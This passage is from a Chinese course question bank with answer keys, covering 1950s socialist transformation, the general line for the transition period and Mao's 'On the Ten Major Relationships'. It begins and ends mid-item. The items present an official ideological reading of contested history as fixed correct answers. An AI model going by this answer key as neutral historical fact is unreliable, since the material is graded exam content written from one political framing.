私营企业的国有化<br>正确答案：A<br><strong>30、新民主主义社会存在着多种经济成分，其中属于半社会主义性质的是()。</strong><br>A. 合作社经济<br>B. 个体经济<br>C. 国家资本主义<br>D. 国营经济<br>正确答案：A </p><p><strong>31、社会主义改造的行动指南为()。</strong><br>A. 党在过渡时期的总路线<br>B. 马克思的赎买理论<br>C. 列宁的国家资本主义理论<br>D. 列宁的合作社理论<br>正确答案：A<br><strong>32、提出“工人革命的第一步就是使无产阶级上升为统治阶级，争得民主”的是()。</strong><br>A. 马克思恩格斯<br>B. 邓小平<br>C. 列宁<br>D. 毛泽东<br>正确答案：A<br><strong>33、关于社会主义过渡时期总路线错误的说法是()。</strong><br>A. 以发达的社会主义为目标<br>B. 过渡时期结束的标志是社会主义改造结束<br>C. 以单一的社会主义公有制和计划经济体制为目标<br>D. 主要内容是“一化三改”<br>正确答案：A<br><strong>34、剥削阶级在我国被消灭的标志是()。</strong><br>A. 中华人民共和国建立<br>B. 对农业、手工业和资本主义工商业的社会主义改造的基本完成</p><p>C. 全国大陆的解放与统一<br>D. 土地改革的完成<br>正确答案：B<br><strong>35、我国进入社会主义初级阶段的起点是()。</strong><br>A. 中华人民共和国的成立<br>B. 社会主义改造基本完成<br>C. 国民经济恢复任务的完成<br>D. 中共十三大的召开<br>正确答案：B<br><strong>36、我国社会主义改造基本完成后，其所有制结构呈现的状况是()。</strong><br>A. 完全的公有制<br>B. 以公有制为基础的社会主义基本经济制度<br>C. 国营经济为主导，多种经济形式并存<br>D. 社会主义公有制为主体，多种经济形式共同发展</p><p>正确答案：B<br><strong>37、我国社会主义改造的基本完成，社会主义制度的初步确立，标志着我国()。</strong><br>A. 进入社会主义社会高级阶段<br>B. 进入社会主义社会<br>C. 由新民主主义开始向社会主义社会过渡<br>D. 社会主义已经建成<br>正确答案：B<br><strong>38、1956 年底，三大改造的基本完成，标志着社会主义制度在我国()。</strong><br>A. 初步确立<br>B. 基本建成<br>C. 基本完善<br>D. 完全建成<br>正确答案：A<br><strong>39、社会主义制度在中国确立的主要标志是()。</strong><br>A. 中华人民共和国的成立<br>B. 国民经济的恢复与调整<br>C. 《中华人民共和国宪法》的颁布<br>D. 社会主义改造的基本完成<br>正确答案：D<br><strong>40、三大改造基本完成的时间是()年底。</strong></p><p>A. 1956<br>B. 1955<br>C. 1953<br>D. 1978<br>正确答案：A<br><strong>41、劳动人民真正成为国家的主人是在()。</strong><br>A. 社会主义基本制度确立后<br>B. 中华人民共和国成立后<br>C. 改革开放后<br>D. 共产主义实现后</p><p>正确答案：A<br><strong>42、社会主义改造的完成具有深刻的历史意义，因为它基本解决了()。</strong><br>A. 无产阶级和资产阶级的矛盾<br>B. 帝国主义和中华民族的矛盾<br>C. 封建主义和人们大众的矛盾<br>D. 官僚资产阶级和民族资产阶级的矛盾正确答案：A<br><strong>43、下列关于社会主义改造理解错误的是()。</strong><br>A. 1956 年底完成的<br>B. 与社会主义改革是一回事<br>C. 解决了走社会主义道路还是资本主义道路的问题<br>D. 解决了无产阶级和资产阶级的矛盾正确答案：B<br><strong>44、社会主义的基本()制度建立起来，是中国进入社会主义社会的最主要标志。</strong><br>A. 政党<br>B. 政治<br>C. 文化<br>D. 经济<br>正确答案：D<br><strong>45、下面关于社会主义改造的不正确的论述有()。</strong><br>A. 社会主义改造的基本完成标志中国已经建成了社会主义<br>B. 社会主义改造的基本完成实现了中国历史上最伟大最深刻的社会变革<br>C. 社会主义改造的基本完成为中国的社会主义现代化建设奠定了基础<br>D. 社会主义改造的基本完成标志着社会主义制度在中国的确立正确答案：A<br><strong>46、社会主义制度的确立是中国历史上最深刻最伟大的社会变革，为当代中国一切发展进步奠定了()。</strong><br>A. 制度基础<br>B. 思想基础<br>C. 文化基础<br>D. 经济基础<br>正确答案：A<br><strong>47、在对农业进行社会主义改造时建立的初级农业生产合作社属于()。</strong><br>A. 新民主主义性质<br>B. 社会主义萌芽性质<br>C. 半社会主义性质<br>D. 社会主义性质<br>正确答案：C<br><strong>48、我国农业合作化采取了循序渐进的步骤是()。</strong><br>A. 由互助组到高级社再到集体化<br>B. 由初级社到互助组再到高级社<br>C. 由互助组到初级社再到高级社<br>D. 个体小农到互助组再到高级社<br>正确答案：C</p><p><strong>49、党在农业社会主义改造中对待富农的政策是()。</strong><br>A. 征收富农的多余土地财产<br>B. 消灭富农经济<br>C. 由逐步限制到最后消灭富农经济<br>D. 限制富农经济<br>正确答案：C<br><strong>50、在对资本主义工商业的改造中，国家对私营工商业实行委托加工、计划订货、统购包销、代销等形式，使其生产、经营开始纳入国家计划的轨道。利润分配上实行“四马分肥” 政策，工人在企业中的地位也发生改变。这使得企业()。</strong><br>A. 有所变化，但还是私营企业<br>B. 具有完全社会主义的性质<br>C. 具有了社会主义的因素<br>D. 基本上成为社会主义国营性质的企业</p><p>正确答案：C<br><strong>51、中国民族资产阶级在社会主义改造时期仍有两面性，其表现为()。</strong><br>A. 革命性和妥协性<br>B. 剥削工人的一面和接受改造的一面<br>C. 主动性和被动性<br>D. 进步性和顽固性<br>正确答案：B<br><strong>52、国家资本主义有初级形式和高级形式之分，初级形式的国家资本主义是()。</strong><br>A. 个别企业的公私合营和全行业公私合营<br>B. 国家对私营工商业实行委托加工、计划订货、统购包销、经销代销等<br>C. 供销小组、供销合作社和生产合作社<br>D. 互助组、初级社、高级社<br>正确答案：B<br><strong>53、在对资本主义工商业的改造中，国家向私营企业投资入股，企业生产资料由国家和资本家共同所有，利润分配仍然实行“四马分肥”，国家向企业派出公方代表，与工人、资本家 共同管理和改造企业，公方代表居领导地位。这时的企业性质()。</strong><br>A. 仍然属于私营企业<br>B. 属于半社会主义性质<br>C. 具有了社会主义因素<br>D. 基本上属于社会主义国营性质<br>正确答案：B<br><strong>54、对资本主义工商业进行社会主义改造的方法是()。</strong><br>A. 和平赎买<br>B. 国家资本主义<br>C. 合作化<br>D. 改造企业和改造人相结合<br>正确答案：A<br><strong>55、国家对资本主义工商业的社会主义改造经历了三个步骤，第一步采取的措施是()。</strong><br>A. 委托加工、计划订购、统购包销<br>B. 国家向私营企业投资入股，企业生产资料由国家和资本家共同所有<br>C. 国家派干部进入企业，同工人、资本家共同管理和改造企业</p><p>D. 实行个别企业的公私合营<br>正确答案：A<br><strong>56、对农业的社会主义改造中建立的高级农业合作社属于()。</strong><br>A. 新民主主义性质<br>B. 社会主义萌芽性质<br>C. 半社会主义性质<br>D. 完全的社会主义性质<br>正确答案：D<br><strong>57、中国共产党对农业进行社会主义改造的方针是()。</strong><br>A. 国家帮助，典型示范<br>B. 趁热打铁，积极领导<br>C. 自愿互利，国家帮助<br>D. 积极领导，稳步前进<br>正确答案：D<br><strong>58、中国共产党对官僚资本和民族资本采取的政策分别是()。</strong><br>A. 和平赎买、和平赎买<br>B. 没收、没收<br>C. 和平赎买、没收<br>D. 没收、和平赎买<br>正确答案：D<br><strong>59、下列不属于在中国进行社会主义改造的目的的是()。</strong><br>A. 继续解放和发展生产力<br>B. 确立社会主义生产关系<br>C. 健全社会主义上层建筑<br>D. 消灭资本家和富农分子<br>正确答案：D </p><p><strong>60、我国社会主义改造中的创举是()。</strong><br>A. 没收官僚资本<br>B. 农业合作化<br>C. 建立手工业合作社<br>D. 对资本主义工商业实行和平赎买政策</p><p>正确答案：D<br><strong>61、我国对个体手工业进行社会主义改造的主要方式是()。</strong><br>A. 合作化<br>B. 统购统销<br>C. 公私合营<br>D. 赎买<br>正确答案：A<br><strong>62、国家在公私合营后对合营企业进行清产核资，定股定息，委派人员负责企业的生产管理，同时按企业资本的股份额给原工商业者定息。这时的企业性质属于()。</strong><br>A. 基本上成为社会主义国营性质<br>B. 具有社会主义的因素<br>C. 半社会主义性质<br>D. 私营企业性质</p><p>正确答案：A<br><strong>63、国家对资本主义工商业的社会主义改造完成的标志是()。</strong><br>A. 全行业的公私合营<br>B. 实行初级形式的国家资本主义<br>C. 把私营工商业的生产经营纳入国家计划的轨道<br>D. 个别企业的公私合营<br>正确答案：A<br><strong>64、国家在对资本主义工商业进行社会主义改造的过程中，在利润分配上采取的政策是()。</strong><br>A. 四马分肥<br>B. 劳资两利<br>C. 公私兼顾<br>D. 统筹兼顾<br>正确答案：A<br><strong>65、国家对资本主义工商业的改造采取从低级到高级的国家资本主义的过渡形式。高级形式的国家资本主义是指()。</strong><br>A. 公私合营<br>B. 委托加工<br>C. 计划订货<br>D. 统购包销<br>正确答案：A</p><h3 id="二-多选题（27-题，27-0-分）"><a href="#二-多选题（27-题，27-0-分）" class="headerlink" title="二.多选题（27 题，27.0 分）"></a>二.多选题（27 题，27.0 分）</h3><p><strong>1、在新民主主义社会经济成分中，属于非社会主义的因素有()。</strong><br>A. 国营经济<br>B. 私人资本主义经济<br>C. 个体农业经济<br>D. 个体手工业经济<br>正确答案：BCD<br><strong>2、1951 年前后，党内大体形成了先用三个五年计划的时间搞工业化建设，再向社会主义过渡的共识。当时认为() 。</strong><br>A. 民主革命遗留任务已经完成<br>B. 在过渡的时间上，认为需要一个相当长的新民主主义建设阶段，一般估计为 1 5 年到 20 年时间<br>C. 在转变条件上，认为只有实现了国家工业化，才能实现私营工业国有化和农业集体化<br>D. 在过渡的步骤和方式上，认为当工业发展了、国营经济壮大了，就可以进一步实行资本主义工商业的国有化和个体农业的集体化<br>正确答案：BCD<br><strong>3、过渡时期总路线反映了中国社会由新民主主义向社会主义转变的历史必然性，这是因为()。</strong><br>A. 1953 年我国还没有全面开展生产资料私有制的社会主义改造的条件<br>B. 国家工业化是国家独立和富强的物质基础和必要条件<br>C. 对资本主义工商业进行全面的社会主义改造，是迅速实现国家工业化的迫切需要<br>D. 对个体农业和手工业进行社会主义改造，是发展农业和提高整个社会生产力</p><p>的客观需要<br>正确答案：BCD<br><strong>4、中国从新民主主义到社会主义过渡的主要条件是()。</strong><br>A. 社会主义国营经济的壮大<br>B. 无产阶级政党的领导<br>C. 有利于过渡的国际因素<br>D. 实现了社会主义现代化<br>正确答案：ABC<br><strong>5、党在过渡时期的总路线的主要内容是“一化三改”，其中三改是指()。</strong><br>A. 对农业的社会主义改造<br>B. 对个体手工业的社会主义改造<br>C. 对资本主义工商业的社会主义改造<br>D. 工业改造<br>正确答案：ABC </p><p><strong>6、过渡时期总路线的“两翼”包括()。</strong><br>A. 对农业的社会主义改造<br>B. 对手工业的社会主义改造<br>C. 对资本主义工商业的社会主义改造<br>D. 国家的社会主义工业化<br>正确答案：ABC<br><strong>7、中华人民共和国成立初期，中国处于新民主主义社会，其经济成分有()。</strong><br>A. 社会主义国营经济与合作社经济<br>B. 个体经济<br>C. 私人资本主义经济<br>D. 国家资本主义经济<br>正确答案：ABCD<br><strong>8、党提出了以“一化三改”为主要内容的过渡时期总路线，其具有实现的可能性包括()。</strong><br>A. 相对强大和迅速发展的社会主义国营经济为总路线的提出提供了物质基础<br>B. 从低级到高级国家资本主义形式的出现成为提出总路线的又一个重要因素<br>C. 广大农民走互助合作道路的要求为总路线的提出提供了重要依据<br>D. 国民经济得以恢复，民主革命遗留任务已经完成正确答案：ABCD<br><strong>9、1949 年党的七届二中全会提出“两个转变”指的是()。</strong><br>A. 稳步的由农业国转变为工业国<br>B. 稳步的把中国恢复为传统农业国<br>C. 由社会主义初级阶段转为高级阶段<br>D. 由新民主主义国家转变为社会主义国家正确答案：AD<br><strong>10、关于党在过渡时期总路线的表述正确的是()。</strong><br>A. 过渡时期总路线坚持社会主义建设和社会主义改造同时并举<br>B. 过渡时期总路线体现了社会主义工业化和社会主义改造的紧密结合<br>C. 过渡时期总路线体现了解放生产力与发展生产力的有机统一<br>D. 过渡时期总路线体现了变革生产关系与发展生产力的有机统一正确答案：ABCD</p><p><strong>11、中国新民主主义社会的主要特点包括()。</strong><br>A. 是个过渡性质的社会<br>B. 政治上实行工人阶级领导的人民民主专政<br>C. 经济上实行国营经济领导下的五种经济并存<br>D. 社会主义公有制经济是主体<br>正确答案：ABCD </p><p><strong>12、党在过渡时期的总路线和总任务是()。</strong><br>A. 逐步实现对农业、对手工业和资本主义工商业的社会主义改造<br>B. 逐步实现国家的社会主义工业化<br>C. 逐步建立社会主义公有制基础<br>D. 逐步消灭非社会主义因素<br>正确答案：AB<br><strong>13、在新民主主义社会中，主要存在的三种经济成分是()。</strong><br>A. 社会主义经济<br>B. 合作经济<br>C. 个体经济<br>D. 资本主义经济<br>正确答案：ACD<br><strong>14、下列对新民主主义社会的说法中正确的是()。</strong><br>A. 是一种过渡性质的社会形态<br>B. 具有多种社会形态的因素<br>C. 是一个独立的社会形态<br>D. 是半殖民地半封建社会走向社会主义社会的中介和桥梁</p><p>正确答案：ABD<br><strong>15、中国由新民主主义向社会主义转变的条件主要包括()。</strong><br>A. 中国共产党的领导和人民民主专政的国家制度的建立<br>B. 新民主主义经济制度的建立和国民经济的恢复<br>C. 国家财政经济状况的根本好转<br>D. 马克思主义、毛泽东思想的指导地位</p><p>正确答案：ABD<br><strong>16、关于中国新民主主义社会的下列说法正确的是，这一历史时期()。</strong><br>A. 它是一个过渡性质的社会<br>B. 它既有社会主义因素也有非社会主义因素<br>C. 它从属于资本主义范畴<br>D. 新民主主义社会是指从中华人民共和国的成立到社会主义改造的基本完成</p><p>正确答案：ABD<br><strong>17、社会主义基本制度的确立()。</strong><br>A. 标志中国已经跨越了社会主义初级阶段<br>B. 是中国历史上最深刻最伟大的社会变革<br>C. 为当代中国的一切发展进步奠定了制度基础<br>D. 为中国特色社会主义制度的创新和发展提供了重要条件</p><p>正确答案：BCD<br><strong>18、历史证明，我国的社会主义改造是十分成功的，因为()。</strong><br>A. 我国在一个几亿人口的大国中比较顺利地实现了如此复杂、困难和深刻的社</p><p>会变革<br>B. 我国在这一变革中不仅没有造成生产力的破坏，反而促进了国民经济的发展<br>C. 我国在这一变革中增强了人民的团结，得到了人民的普遍拥护<br>D. 我国在这一变革中没有引起巨大的社会动荡</p><p>正确答案：ABCD<br><strong>19、新民主主义革命的胜利，社会主义基本制度的建立，是 20 世纪中国又一次划时代的历史</strong><br><strong>巨变，是世界社会主义运动史上又一个历史性伟大的胜利，其重大意义在于()。</strong><br>A. 证明了比较落后的国家能够实行社会主义革命，建立社会主义制度<br>B. 为当代中国的发展进步奠定了制度基础<br>C. 使广大劳动人民真正成为国家的主人<br>D. 丰富和发展了马克思主义的科学社会主义理论</p><p>正确答案：ABCD<br><strong>20、20 世纪 50 年代中期，社会主义改造基本完成，标志着()。</strong><br>A. 社会主义制度在我国已经确立<br>B. 我国步入了社会主义改革时期<br>C. 我国进入了社会主义初级阶段<br>D. 我国实现了新民主主义向社会主义过渡</p><p>正确答案：ACD<br><strong>21、对农业、个体手工业进行社会主义改造必须遵循的原则是()。</strong><br>A. 积极领导，稳步前进<br>B. 自愿互利<br>C. 典型示范<br>D. 国家帮助<br>正确答案：BCD<br><strong>22、中国共产党根据马克思列宁主义关于社会主义改造的思想，从我国的实际出发，开创了一条有中国特点的农业合作化道路，成功地实现了对个体农业的社会主义改造。其历史经验主要有()。</strong><br>A. 遵循自愿互利、典型示范和国家帮助的原则<br>B. 在土地改革后不失时机地引导个体农民走互助合作道路<br>C. 采取从互助组到初级社再到高级社的逐步过渡形式<br>D. 实行“三级所有、队为基础”的农业集体经济体制正确答案：ABC<br><strong>23、全行业公私合营前，国家对资本主义工商业采取赎买政策，其中四马分肥是指()。</strong><br>A. 国家所得税<br>B. 企业公积金<br>C. 工人福利费<br>D. 资方红利<br>正确答案：ABCD<br><strong>24、在对农业进行社会主义改造的过程中，经历的三个发展阶段是()。</strong><br>A. 互助组<br>B. 人民公社<br>C. 初级社<br>D. 高级社</p><p>正确答案：ACD<br><strong>25、在进行社会主义改造、向社会主义过渡的进程中，中国共产党积累的丰富经验是()。</strong><br>A. 坚持社会主义工业化建设和社会主义改造同时并举<br>B. 先工业化后改造<br>C. 采取积极引导、逐步过渡的方式<br>D. 用和平方法进行改造<br>正确答案：ACD<br><strong>26、下列说法符合我国国情的资本主义工商业改造的道路是()。</strong><br>A. 用和平赎买的方法改造资本主义工商业<br>B. 实行初级形式的国家资本主义<br>C. 采取从低级到高级的国家资本主义的过渡形式<br>D. 把资本主义工商业者改造成为自食其力的社会主义劳动者正确答案：ACD<br><strong>27、下列党和国家重要决策的表述，与社会主义改造时期无关的有()。</strong><br>A. “我们现在搞社会主义，也有共产主义的萌芽。学校、工厂、街道都可以搞人民公社”<br>B. “这种新式的国家资本主义经济是带着很大的社会主义性质的，是对工人和国家有利的”<br>C. “鼓足干劲，力争上游，多快好省地建设社会主义”<br>D. “我们进行社会主义革命所用的方法是和平的方法” 正确答案：AC</p><h3 id="三-判断题（15-题，15-0-分）"><a href="#三-判断题（15-题，15-0-分）" class="headerlink" title="三.判断题（15 题，15.0 分）"></a>三.判断题（15 题，15.0 分）</h3><p><strong>1、毛泽东在建国前夕对由新民主主义社会向社会主义社会过渡所需的时间估计是十到十五年或二十年。</strong><br>正确答案： 对<br><strong>2、中国新民主主义社会是一个独立的社会形态。</strong></p><p>正确答案： 错<br><strong>3、新民主主义社会属于社会主义社会体系。</strong></p><p>正确答案： 对<br><strong>4、在新民主主义社会中，社会主义的因素不论在经济上还是在政治上都已经居于领导地位，但非社会主义因素仍有很大比重。</strong><br>正确答案： 对<br><strong>5、实践证明，中国可以在没有实现工业化的情况下进入社会主义。</strong></p><p>正确答案： 对<br><strong>6、实现中华民族伟大复兴，必须建立符合我国实际的先进社会制度。</strong></p><p>正确答案： 对<br><strong>7、中国只有在实现工业化的情况下才能进入社会主义。</strong></p><p>正确答案： 错<br><strong>8、经济文化比较落后的国家不能够先于发达国家实行社会主义革命。</strong></p><p>正确答案： 错<br><strong>9、中华人民共和国成立，实现了从新民主主义社会到社会主义社会的转变。</strong></p><p>正确答案： 错<br><strong>10、国家对手工业的社会主义改造的第一步是办手工业供销小组。</strong></p><p>正确答案： 对</p><p><strong>11、对资本主义工商业进行社会主义改造过程中，国家资本主义利润分配依据“四马分肥” 的方式进行。</strong></p><p>正确答案： 对<br><strong>12、“红色资本家”荣毅仁担任过国家副主席。</strong></p><p>正确答案： 对<br><strong>13、社会主义工业化建设与社会主义改造同时进行会容易顾此失彼，影响中国社会主义前进的步伐。</strong></p><p>正确答案： 错<br><strong>14、中国进入社会主义的前提是实现工业化。</strong></p><p>正确答案： 错<br><strong>15、列宁认为在经济文化落后的国家是不能建成社会主义的。</strong></p><p>正确答案： 错</p><h2 id="第四章"><a href="#第四章" class="headerlink" title="第四章"></a>第四章</h2><h3 id="一-单选题（39-题，39-0-分）"><a href="#一-单选题（39-题，39-0-分）" class="headerlink" title="一.单选题（39 题，39.0 分）"></a>一.单选题（39 题，39.0 分）</h3><p><strong>1、中国共产党在实践中开始探索符合中国国情的社会主义建设道路的标志是()。</strong><br>A. 中共八大召开<br>B. 毛泽东发表《关于正确处理人民内部矛盾的问题》<br>C. 毛泽东发表《论十大关系》<br>D. 中共中央提出社会主义建设总路线正确答案：C<br><strong>2、毛泽东第一次系统地阐述社会主义社会矛盾问题的著作是()。</strong><br>A. 《论十大关系》<br>B. 《矛盾论》<br>C. 《关于正确处理人民内部矛盾的问题》<br>D. 《论人民民主专政》<br>正确答案：C<br><strong>3、新中国工业化是在苏联影响下起步的，走中国工业化道路，是中国共产党初步探索我国社会主义建设道路的一个重要思想，当时所讲工业化道路问题，主要指()。</strong><br>A. 汉族与少数民族的关系<br>B. 重工业、轻工业和农业的发展关系问题<br>C. 中央和地方关系问题<br>D. 革命和反革命的关系<br>正确答案：B<br><strong>4、社会主义改造基本完成后，国家政治生活的主题是()。</strong><br>A. 探索本国建设社会主义的道路<br>B. 正确处理人民内部矛盾<br>C. 不断解决仍然存在的敌我矛盾，同时正确处理人民内部矛盾<br>D. 集中力量解决人民对于建立先进的工业国的要求同落后的农业国现实之间的矛盾<br>正确答案：B<br><strong>5、20 世纪 60 年代提出实行“两种教育制度，两种劳动制度”主张的是()。</strong><br>A. 毛泽东</p><p>B. 刘少奇<br>C. 周恩来<br>D. 邓小平<br>正确答案：B<br><strong>6、在 1956 年知识分子问题会议上，周恩来对知识分子的阶级属性的表达是()。</strong><br>A. 小资产阶级<br>B. 知识分子的绝大部分己经是工人阶级的一部分<br>C. 民族资产阶级<br>D. 大资产阶级<br>正确答案：B<br><strong>7、新中国成立后，工人阶级与民族资产阶级之间的矛盾属于()。</strong><br>A. 敌我矛盾<br>B. 人民内部矛盾<br>C. 阶级矛盾<br>D. 对抗性矛盾<br>正确答案：B<br><strong>8、在经济建设中，毛泽东反复强调的方针是()。</strong><br>A. 快速发展<br>B. 统筹兼顾<br>C. 稳步增长<br>D. 效率为主<br>正确答案：B<br><strong>9、毛泽东在《论十大关系》一文中指出的正确处理国家、集体、个人三者关系应是()。</strong><br>A. 个人利益是绝对第一位的<br>B. 兼顾三者的利益<br>C. 集体利益是绝对第一位的<br>D. 只要国家利益实现了，个人利益自然而然得到满足</p><p>正确答案：B<br><strong>10、毛泽东提出关于发展国民经济的总方针，以下不正确的是()。</strong><br>A. 以工业为主导<br>B. 以就业为导向<br>C. 以农轻重为序<br>D. 以农业为基础<br>正确答案：B<br><strong>11、党的八大正确分析了社会主义改造完成后我国社会主要矛盾的变化，指出()制度在我国已经基本建立起来了。</strong><br>A. 资本主义<br>B. 社会主义<br>C. 官僚主义<br>D. 新民主主义<br>正确答案：B<br><strong>12、毛泽东提出的“两参一改三结合”不包括()。</strong><br>A. 工人参加管理<br>B. 干部不参加劳动</p><p>C. 改革不合理的规章制度<br>D. 工人群众、领导干部和技术人员三结合正确答案：B<br><strong>13、()是无产阶级政党的根本组织原则，是指导党内生活的基本准则。</strong><br>A. 集体领导制度<br>B. 民主集中制<br>C. 法制<br>D. 批评与自我批评<br>正确答案：B<br><strong>14、新中国成立后第一次明确规定中华人民共和国的国家政权属于人民，人民行使国家政权的机关为各级人民代表大会和各级人民政府的重要文献是()。</strong><br>A. 1954 年《中华人民共和国宪法》<br>B. 《共同纲领》<br>C. 《论十大关系》<br>D. 《关于正确处理人民内部矛盾的问题》</p><p>正确答案：B<br><strong>15、在中共八大上，提出社会主义经济体制应实行“三个主体，三个补充”重要设想的是()。</strong><br>A. 周恩来<br>B. 陈云<br>C. 刘少奇<br>D. 毛泽东<br>正确答案：B<br><strong>16、20 世纪 50 年代中期，中共中央领导集体开展了一次广泛而深入地对经济工作的调查研究，其理论成果是()。</strong><br>A. 《关于正确处理人民内部矛盾的问题》的形成<br>B. 《论十大关系》的形成<br>C. 中共八大政治报告的形成<br>D. “双百”方针的形成<br>正确答案：B<br><strong>17、《论十大关系》是毛泽东探索中国社会主义建设道路的开山之作，其基本方针是()。</strong><br>A. 把国内外一切积极因素调动起来，为建设社会主义事业服务<br>B. 正确处理人民内部矛盾和敌我矛盾<br>C. 加强全党和全国人民的团结<br>D. 探索适合我国国情的社会主义建设道路正确答案：A<br><strong>18、毛泽东首次明确地把农业、轻工业、重工业三者的关系提到工业化道路的高度加以考查的报告是()。</strong><br>A. 《论十大关系》<br>B. 《关于正确处理人民内部矛盾的问题》<br>C. 《为争取国家财政经济状况基本好转而斗争》<br>D. 1961 年《在扩大的中央工作会议上的讲话》</p><p>正确答案：B<br><strong>19、毛泽东发表的《论十大关系》成为探索中国特色的社会主义建设道路的先声，文章中提</strong></p><p><strong>出我国社会主义建设必须围绕着一个基本方针，就是()。</strong><br>A. 正确区分和处理两类不同性质的矛盾<br>B. 调动国内外一切积极因素，把中国建设成为社会主义强国<br>C. 中国共产党和民主党派“长期共存、互相监督”<br>D. “调整、巩固、充实、提高”的方针</p><p>正确答案：B<br><strong>20、无产阶级政党的根本组织原则与指导党内生活的基本准则是()。</strong><br>A. 群众路线<br>B. 民主集中制<br>C. 集体领导制度<br>D. 理论学习<br>正确答案：B<br><strong>21、1956 年全国高考的作文试题是：“我生活在幸福的年代”。下列事件不可能发生在这个幸福年代里的是()。</strong><br>A. 改革开放<br>B. 社会主义改造的完成<br>C. 社会主义制度基本确立<br>D. 一五计划即将完成<br>正确答案：A<br><strong>22、在全党和全国工作重心由革命转向建设的时候，面临着一个()问题。</strong><br>A. 怎样建设社会主义<br>B. 如何认识和处理社会主义社会矛盾<br>C. 建设一个什么样的党，怎样建设党<br>D. 是否要走中国工业化道路<br>正确答案：B<br><strong>23、毛泽东指出，在解决人民内部矛盾时，一个总的方针是()。</strong><br>A. 用革命的方式解决<br>B. 用谈判的方式解决<br>C. 用暴力的方式解决<br>D. 用民主的方式解决<br>正确答案：D<br><strong>24、中共八大提出的我国经济建设方针是()。</strong><br>A. 既反保守又反冒进，在综合平衡中稳步前进<br>B. 力争高速度，快压倒一切<br>C. 慢一点，稳一点<br>D. 大干快上，赶美超英<br>正确答案：A<br><strong>25、在社会主义制度确立后，()是对抗性矛盾。</strong><br>A. 人民同国民党遗留大陆的特务组织之间的矛盾<br>B. 工人、农民同知识分子之间的矛盾<br>C. 政府同人民群众之间的矛盾<br>D. 劳动人民同民族资产阶级之间的矛盾正确答案：A<br><strong>26、毛泽东在《论十大关系》中阐述的首要的经济关系是()。</strong></p><p>A. 农业、重工业和轻工业的关系<br>B. 中央与地方的关系<br>C. 沿海工业和内地工业的关系<br>D. 国防建设和经济建设的关系<br>正确答案：A<br><strong>27、毛泽东认为，社会主义社会基本矛盾具有“又相适应又相矛盾”的特点，其中，之所以会有相矛盾的一面，是因为()。</strong><br>A. 社会主义生产关系不完善<br>B. 社会主义建设者经验积累不足<br>C. 社会主义国家发展程度不够<br>D. 社会主义生产力发展水平不高<br>正确答案：A<br><strong>28、毛泽东在《关于正确处理人民内部矛盾的问题》中提出解决社会主义社会基本矛盾的途径是()。</strong><br>A. 依靠社会主义制度本身的力量<br>B. 进行社会主义革命<br>C. 进行无产阶级专政下的继续革命<br>D. 进行新民主主义革命<br>正确答案：A<br><strong>29、新中国成立初期，我国主要是学习()。</strong><br>A. 苏联经验<br>B. 德国经验<br>C. 新加坡经验<br>D. 日本经验<br>正确答案：A<br><strong>30、毛泽东的“两参一改三结合”不包括的人员有()。</strong><br>A. 农民<br>B. 领导干部<br>C. 技术人员<br>D. 工人群众<br>正确答案：A<br><strong>31、刘少奇提出的“两种劳动制度、两种教育制度”不包括()。</strong><br>A. 星期制的劳动制度<br>B. 全日制的教育制度<br>C. 半日制的劳动制度<br>D. 全日制的劳动制度<br>正确答案：A<br><strong>32、由于社会主义社会基本矛盾是()性质的，所以“它可以经过社会主义制度本身，不断地得到解决”。</strong><br>A. 非对抗<br>B. 发展<br>C. 对抗<br>D. 普遍<br>正确答案：A</p><p><strong>33、毛泽东在《关于正确处理人民内部矛盾的问题》中针对科学文化领域的矛盾提出了()方针。</strong><br>A. 百花齐放、百家争鸣<br>B. 科学实践<br>C. 艺术实践<br>D. 自由讨论<br>正确答案：A<br><strong>34、社会主义改造任务基本完成后，全国人民的主要任务是()。</strong><br>A. 集中力量发展社会生产力<br>B. 坚持无产阶级专政下继续革命<br>C. 开展社会主义道路与资本主义道路的决战<br>D. 进行思想战线上的社会主义革命正确答案：A<br><strong>35、1958 年 10 月，山东范县县委书记作报告：“人民进入新乐园，吃穿喝用不要钱，人民都说天堂好，天堂不如新乐园。”这一现象产生的影响是()。</strong><br>A. 破坏了农村生产力<br>B. 调动了农民的积极性<br>C. 出现了农村城镇化趋势<br>D. 提高了生产力<br>正确答案：A<br><strong>36、1956 年《论十大关系》的报告初步总结了我国社会主义建设的经验，明确提出要</strong><br><strong>（）。</strong><br>A. 以美为鉴<br>B. 以苏为鉴<br>C. 以日为鉴<br>D. 以英为鉴<br>正确答案：B<br><strong>37、“特别值得注意的是，最近苏联方面暴露了他们在建设社会主义过程中的一些缺点和错误，他们走过的弯路，你还想走？过去我们就是鉴于他们的经验教训，少走了一些弯路，现在当然更要引以为戒。”这句话出自（）。</strong><br>A. 《关于经济体制改革的决定》<br>B. 《党和国家领导制度的改革》<br>C. 《论十大关系》<br>D. 《关于正确处理人民内部矛盾的问题》正确答案：C<br><strong>38、（）标志着党探索中国社会主义建设道路的良好开端。</strong><br>A. 《关于正确处理人民内部矛盾的问题》<br>B. 《党和国家领导制度的改革》<br>C. 《关于经济体制改革的决定》<br>D. 《论十大关系》<br>正确答案：D<br><strong>39、“努力把党内党外、国内国外的一切积极的因素，直接的、间接的积极因素全部调动起来”，这是（）确定的基本方针。</strong><br>A. 《关于经济体制改革的决定》</p><p>B. 《关于正确处理人民内部矛盾的问题》<br>C. 《党和国家领导制度的改革》<br>D. 《论十大关系》<br>正确答案：D </p><h3 id="二-多选题（15-题，15-0-分）"><a href="#二-多选题（15-题，15-0-分）" class="headerlink" title="二.多选题（15 题，15.0 分）"></a>二.多选题（15 题，15.0 分）</h3><p><strong>1、在正确认识和处理社会主义社会矛盾的问题上，党提出并回答的重要理论问题是()。</strong><br>A. 社会主义社会是否存在矛盾<br>B. 社会主义社会存在什么性质的矛盾<br>C. 如何正确处理和解决社会主义社会的矛盾<br>D. 如何消除社会主义社会的矛盾<br>正确答案：ABC<br><strong>2、针对人民内部矛盾在具体实践中的不同情况，毛泽东提出了一系列具体方针，下面哪些是正确的有()。</strong><br>A. 对于思想政治领域的人民内部矛盾，实行“团结、批评、团结”的方针<br>B. 对科学文化领域里的矛盾，实行“百花齐放，百家争鸣”的方针<br>C. 对于物质利益、分配方面的人民内部矛盾，实行统筹兼顾、适当安排的方针<br>D. 对于民族之间的矛盾，实行民族平等、团结互助的方针</p><p>正确答案：ABCD<br><strong>3、毛泽东指出，从建设社会主义基本制度到建成一个伟大的社会主义国家，至少需要五十年到一百年的时间，这是由于()。</strong><br>A. 我国进入社会主义的特殊历史条件决定的<br>B. 我国的现实状况决定的<br>C. 我国现代化建设所处的国际环境和时代特点决定的<br>D. 